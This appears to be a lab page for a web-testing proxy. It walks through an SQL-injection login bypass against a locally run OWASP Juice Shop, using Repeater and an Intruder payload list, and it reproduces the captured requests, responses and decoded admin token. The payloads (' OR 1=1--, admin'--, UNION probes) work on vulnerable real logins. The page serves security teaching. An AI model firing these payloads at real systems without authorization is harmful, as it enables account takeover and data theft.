// lab 01

Break a login, then prove it

repeater · intruder · sandboxed

One real bug, two tools. We catch a login request, flip a single field in Repeater to bypass authentication, then load Intruder to prove it is a genuine SQL-injection and not a fluke. The target is OWASP Juice Shop — a deliberately vulnerable app you run on your own machine.

Every request here really happened — the real bytes a local Juice Shop returned on 2026-06-14, captured and replayed. Point Hugin only at targets you are authorised to test. Reproduce it yourself.

// part 1 · repeater

Send it once. Change one field. Send it again.

Repeater is for the careful, hand-driven probe: take one request, edit it, fire it, read the response — over and over, no browser in the loop. Here is the Juice Shop login. With real credentials it answers 401. Edit the email field in the request below — type ' OR 1=1--, or use a quick-fill — and press Send.

HUGINrepeater
RequestPOST · application/json
POST /rest/user/login HTTP/2
host: juice-sh.op
content-type: application/json
content-length: 49

{"email":"[email protected]","password":"hunter2"}
Response401 · 26 B · 8 ms200 · 799 B · 9 ms500 · 1,449 B · 12 ms
↳ press Send to issue the request
sending to juice-sh.op…
HTTP/2 401 Unauthorized
content-type: text/html; charset=utf-8
content-length: 26

Invalid email or password.HTTP/2 200 OK
content-type: application/json; charset=utf-8
content-length: 799

{"authentication":{"token":"eyJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6…",
  "bid":1,"umail":"[email protected]"}}HTTP/2 500 Internal Server Error
content-type: text/html; charset=utf-8
content-length: 1449

OWASP Juice Shop (Express ^4.22.1)
500 Error
  at Database.<anonymous> (…/sequelize/lib/dialects/sqlite/query.js:185:27)
  … 5 more stack frames
real credentials → the app rejects you, as it should. the quote escapes the SQL string; OR 1=1 is always true; -- comments out the password check. a lone ' unbalances the SQL string — the server 500s with a stack trace from sqlite/query.js: the input reached the query engine raw.

You are now the administrator.

The 200 carries a signed session token. Drop it into Hugin's Decoder and the JWT claims are plain:

"id": 1,
"email": "[email protected]",
"role": "admin",
"iat": 1781454986

No password was ever known. The login query trusted unescaped input, so ' OR 1=1-- matched the first row in the users table — which is the admin.

// part 2 · intruder

Prove it is injection, not luck

Was that one payload a coincidence? Mark the email field as the position, feed Intruder a short list of probes, and fire a sniper attack. Sort the results by length — the bypasses and the database errors separate themselves from the noise.

HUGINintruder · sniper POST /rest/user/login  ·  position: email = §payload§
#payloadstatuslengthnote
1[email protected]40126baseline · valid email
2'5001,449DB error — injectable
3' OR 1=1--200799auth bypass ✓
4' OR 1=2--40126false condition — no bypass
5' OR '1'='140126no comment — trailing clause breaks it
6[email protected]'--200799targeted admin bypass ✓
7[email protected]40126baseline
8' UNION SELECT 1--5001,449column-count mismatch — injectable
8 payloads · 1 position · sniper 4 stand out: two 200/799 B bypasses, two 500/1,449 B database errors. The rest are 401/26 B.
1=1 vs 1=2

' OR 1=1-- → 200, but ' OR 1=2-- → 401. The response tracks the truth of the condition — that is textbook boolean SQL injection.

the lone quote

A single ' returns 500 with a 1,449-byte error page. The parser choked on an unbalanced quote — the input reaches the SQL engine raw.

length is the tell

You never read eight bodies. 26 B is rejection, 799 B is a token, 1,449 B is a stack trace. Sort the column and the bugs rise to the top.

// reproduce

Run it yourself

~5 minutes · your machine

Nothing here is special-cased. Stand up the same sandbox and walk the same path.

01

start the sandbox

Run a throwaway Juice Shop in Docker — it is built to be broken.

docker run --rm -p 3000:3000 bkimminich/juice-shop
02

proxy through Hugin

Launch Hugin, set your browser's proxy to 127.0.0.1:8080, trust the CA, and log in once so the request lands in the history.

hugin
03

repeat & fuzz

Right-click the login → Send to Repeater, swap the email, resend. Then Send to Intruder, mark the field, paste the payloads, attack.

The built-in scanner finds this same class of bug without the manual steps — that walkthrough is next.